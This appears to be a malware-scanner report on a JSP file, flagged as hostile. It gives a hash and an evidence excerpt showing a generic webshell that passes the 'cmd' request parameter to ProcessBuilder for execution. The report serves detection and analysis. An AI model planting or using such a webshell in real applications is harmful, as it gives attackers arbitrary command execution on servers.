Hostile ^92% Download

2022-09-03-02.jsp

JSP webshell executes arbitrary commands

Generic JSP webshell which uses processbuilder to execute user inputJSP reads cmd request parameter

SHA-256cb884009eb6d17c9bd372628b02bb47740ca877ff64b9c656e568b902cc719b6

Evidence

JSP reads a request parameter lines 1–16

⋯5 lines
6
7<%
8  String cmd = request.getParameter("cmd");
9  Process process = new ProcessBuilder(new String[]{cmd}).start();
10  InputStream is = process.getInputStream();
11  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
12  String r = null;
⋯4 lines